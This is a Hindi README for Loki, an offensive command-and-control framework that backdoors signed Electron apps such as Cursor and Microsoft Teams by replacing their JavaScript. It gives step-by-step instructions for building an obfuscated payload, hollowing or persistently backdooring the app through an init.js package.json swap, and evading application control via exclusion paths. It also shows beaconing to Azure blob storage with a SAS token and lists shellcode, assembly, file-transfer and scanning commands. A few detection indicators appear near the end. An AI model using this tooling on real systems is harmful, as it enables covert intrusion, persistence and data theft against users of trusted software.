
🧙♂️ स्क्रिप्ट-जैकिंग-असुरक्षित इलेक्ट्रॉन अनुप्रयोगों के लिए Node.js कमांड एवं नियंत्रण
Loki एक stage-1 कमांड एंड कंट्रोल (C2) फ्रेमवर्क है जो Node.js में लिखा गया है, जिसे कमजोर Electron ऐप्स को स्क्रिप्ट-जैक करने के लिए बनाया गया है MITRE ATT&CK T1218.015. रेड टीम ऑपरेशनों के लिए विकसित, Loki विश्वसनीय, हस्ताक्षरित Electron ऐप्स का शोषण करके सुरक्षा सॉफ़्टवेयर को बायपास करने और एप्लिकेशन नियंत्रणों से बचने में सक्षम बनाता है।
स्क्रिप्ट-जैकिंग runtime पर लोड की गई JavaScript फ़ाइलों को मनमाने Node.js कोड से संशोधित करके किसी Electron ऐप के निष्पादन प्रवाह को हाईजैक करती है। इस तकनीक का उपयोग इनके लिए किया जा सकता है:
जबकि कई उपकरण पहले से ही किसी अन्य प्रक्रिया में निष्पादन को चेन करने के लिए स्क्रिप्ट-जैकिंग का लाभ उठाते हैं, Loki पहला उपकरण है जो हस्ताक्षरित Electron ऐप्स में बैकडोरिंग और होलोइंग को उनके कोड-साइनिंग हस्ताक्षर को अमान्य किए बिना सक्षम बनाता है।
Loki कैसे काम करता है, इसकी अधिक जानकारी के लिए यह ब्लॉग पोस्ट देखें:

| नाम | योगदान |
|---|---|
| Bobby Cooke | निर्माता और अनुरक्षक |
| Dylan Tran | निर्माता |
| Ellis Springe | अल्फा परीक्षक |
| Shawn Jones | असेम्बली निष्पादन कोड |
| Trusted Sec | COFFLoader कोड |
| Simon Exley | वीडियो निर्माता |
| Clinton Elves | वीडियो निर्माता |
| John Hammond | वीडियो निर्माता |
John Hammond द्वारा Loki C2 से Cursor AI में बैकडोर डालने का यह वीडियो देखें! 🎩
Simon Exley & Clinton Elves द्वारा Loki C2 के साथ शुरुआत करने का यह वीडियो देखें! 🧙♂️
सभी एजेंट कमांड नेटिव Node.JS में लिखे गए हैं और इन्हें अतिरिक्त निर्भरताओं या लाइब्रेरी लोड इवेंट्स की आवश्यकता नहीं होती। scexec और assembly कमांड को छोड़कर, जो keytar.node और assembly.node पर लाइब्रेरी लोड करते हैं
/ का उपयोग करने वाले पथ स्वीकार करते हैं, पथ में \ काम नहीं करेगा।Set - एप्लिकेशन नियंत्रण बहिष्करण पथों से नोड्स लोड करनाassembly.node और scexec.node के लिए लोड पथ बदलने हेतु set कमांड का उपयोग कर सकते हैं।ls, cat, cp और mv का उपयोग करके आप एप्लिकेशन नियंत्रण नियमों की गणना कर सकते हैं और एक लिखने योग्य बहिष्करण निर्देशिका खोज सकते हैं।set कमांड से उनके लोड पथ को बहिष्करण निर्देशिका में बदल सकते हैं।[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
एजेंट की विशेषताओं की अधिक जानकारी के लिए यहाँ क्लिक करें
क्लाइंट की विशेषताओं की अधिक जानकारी के लिए यहाँ क्लिक करें
सबसे पहले आपको एक कमजोर Electron एप्लिकेशन की पहचान करनी होगी जो ASAR सुरक्षा अखंडता जाँच नहीं करता, जैसे Microsoft Teams। नए एप्लिकेशन में बैकडोरिंग को रोकने वाली अखंडता जाँच हो सकती हैं। लक्षित ऐप के पुराने संस्करणों के कमजोर होने की अधिक संभावना होती है।
Electron ऐप्स में बैकडोर डालते समय आपको एजेंट को कंपाइल करने की आवश्यकता नहीं है। बस {ELECTRONAPP}/resources/app/ की सामग्री को Loki एजेंट फ़ाइलों से बदल दें।
cd करेंjavascript-obfuscator मॉड्यूल इंस्टॉल करेंnpm install --save-dev javascript-obfuscator
create_agent_payload.js स्क्रिप्ट चलाएँbobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/ में आउटपुट होता है{ELECTRONAPP}/resources/ में निर्देशिका बदलें./app/ फ़ोल्डर को {ELECTRONAPP}/resources/app/ में कॉपी करेंLoki GUI क्लाइंट लॉन्च करें
मेन्यूबार से Settings विंडो खोलने के लिए Loki Client > Configuration पर क्लिक करें
अपने Storage Account विवरण दर्ज करें और Save पर क्लिक करें

एजेंट अब डैशबोर्ड में दिखना चाहिए
एजेंट विंडो खोलने के लिए डैशबोर्ड तालिका से एजेंट पर क्लिक करें
यह सुनिश्चित करने के लिए परीक्षण करें कि Loki ठीक से काम करता है
Loki का उपयोग करने का सबसे सीधा तरीका {ELECTRONAPP}/resources/app/ में फ़ाइलों को Loki फ़ाइलों से बदलना है। यह ऐप को खोखला कर देता है, जिसका अर्थ है कि ऐप सामान्य रूप से कार्य नहीं करेगा -- Loki ने इसकी कार्यक्षमता को बदल दिया है।
यदि आप वास्तव में Electron एप्लिकेशन को चालू रखना चाहते हैं और साथ ही पृष्ठभूमि में Loki तैनात करना चाहते हैं, तो सारी उम्मीद खत्म नहीं हुई है! John Hammond और मैंने असली Electron एप्लिकेशन को चालू रखने का एक तरीका निकाला है। हमने आपकी आवश्यकता वाली फ़ाइल इस रिपो में /loki/backdoor/init.js पर जोड़ दी है।
यह वर्तमान में Cursor के लिए काम करने हेतु सेटअप है, जिसे John Hammond द्वारा कमजोर पाया गया।
ऐसा करने के लिए आपको यह करना होगा:
cursor/resources/app/ में package.json को छोड़कर सभी Loki फ़ाइलें पेस्ट करें
package.json को प्रतिस्थापित न करें/loki/backdoor/init.js को cursor/resources/app/ में कॉपी करेंcursor/resources/app/package.json की सामग्री को संशोधित करें:
"main":"init.js", सेट करें"type":"module", हटाएँ"private":true, हटाएँCursor.exe क्लिक / निष्पादन पर init.js लोड करेगाinit.js package.json पढ़ता हैinit.js "main":"init.js", को "main":"main.js", में बदलता है
main.js Loki हैinit.js एक नया Cursor.exe स्पॉन करता है और उसे डिसाउन करता है जो Loki की ओर इंगित करता हैinit.js फिर से package.json पढ़ता हैinit.js "main":"main.js", को में बदलता है
इस तरह ऐप स्थायी रूप से बैकडोर रहता है और सामान्य रूप से कार्य करता है। यदि cursor ऐप बंद किया जाता है, तो loki पृष्ठभूमि में चलता रहेगा।
मैं भविष्य में इसे स्वचालित करने के लिए एक स्क्रिप्ट बनाऊँगा।
ये एजेंट और क्लाइंट बनाने के संकलन निर्देश हैं। निर्देश कई प्लेटफार्मों को कवर करते हैं, जिनमें Windows, Linux और macOS शामिल हैं। क्लाइंट को लक्षित प्लेटफ़ॉर्म और आर्किटेक्चर पर संकलित करने की अनुशंसा की जाती है।
यदि आप किसी Electron एप्लिकेशन में बैकडोर डाल रहे हैं, तो आपको एजेंट संकलित करने की आवश्यकता नहीं है।
मैं एजेंट को संकलित करके ऑपरेशनों में उपयोग करने की अनुशंसा नहीं करता। एजेंट संकलन निर्देश विकास के लिए हैं।
~/Downloads/Teams/Teams.exe से एक electron ऐप का निष्पादन*.blob.core.windows.net पर बीकन करने वाले Electron ऐप्सnetstat.exe या whoami.exe जैसी चाइल्ड प्रोसेस स्पॉन करना~/AppData/Roaming/{NAME} में Loki package.json में मौजूद नाम वाली एक निर्देशिका बनाई जाएगी।%LOCALAPPDATA%\Microsoft\Teams\current\app निर्देशिका बनाई गई%LOCALAPPDATA%\Microsoft\Teams\current\app.asar फ़ाइल गैर-Teams इंस्टॉलर/अपडेटर द्वारा बनाई/संशोधित की गईयह प्रोजेक्ट Business Source License 1.1 के तहत लाइसेंस प्राप्त है। लाइसेंस की शर्तों के तहत गैर-व्यावसायिक उपयोग की अनुमति है। व्यावसायिक उपयोग के लिए लेखक की स्पष्ट अनुमति आवश्यक है। 3 अप्रैल 2030 को, यह लाइसेंस Apache 2.0 में परिवर्तित हो जाएगा। पूर्ण विवरण के लिए LICENSE देखें।
| Command | विवरण |
|---|
help | सहायता दिखाएँ। उपयोग: help या help scan |
pwd | वर्तमान कार्यशील निर्देशिका दिखाएँ |
ls | फ़ाइल और निर्देशिका सूची |
cat | फ़ाइल की सामग्री दिखाएँ |
env | प्रक्रिया पर्यावरण चर दिखाएँ |
spawn | एक चाइल्ड प्रोसेस स्पॉन करें |
drives | ड्राइव की सूची दिखाएँ |
mv | किसी फ़ाइल को नए गंतव्य पर ले जाएँ |
sleep | जिटर के साथ सेकंड के लिए सोएं |
cp | स्रोत फ़ाइल को गंतव्य पर कॉपी करें |
exit-all | एजेंट को बंद करता है, एजेंट दोबारा कॉलबैक नहीं करेगा |
load | डिस्क से एक node PE फ़ाइल को प्रोसेस में लोड करें |
scexec | शेलकोड निष्पादित करें |
assembly | .NET असेंबली निष्पादित करें और कमांड आउटपुट प्राप्त करें |
upload | आपके स्थानीय ऑपरेटर बॉक्स से रिमोट एजेंट बॉक्स पर फ़ाइल अपलोड करें |
download | रिमोट एजेंट बॉक्स से आपके स्थानीय ऑपरेटर बॉक्स पर फ़ाइल डाउनलोड करें |
scan | चयनित पोर्ट्स के साथ CIDR रेंज में TCP नेटवर्क स्कैन करें |
dns | DNS लुकअप। सिस्टम की DNS कॉन्फ़िगरेशन का उपयोग करता है |
set | असेंबली नोड और scexec नोड्स के लिए Node लोड पथ सेट करें |
bof | COFF फ़ाइल निष्पादित करें और आउटपुट लौटाएँ |
"main":"./out/main.js",./out/main.js" असली Cursor एप्लिकेशन हैinit.js एक नया Cursor.exe स्पॉन करता है और उसे डिसाउन करता है जो असली Cursor की ओर इंगित करता हैinit.js निकास को पकड़ता हैinit.js तीसरी बार package.json पढ़ता हैinit.js "main":"./out/main.js", को "main":"init.js", में बदलता है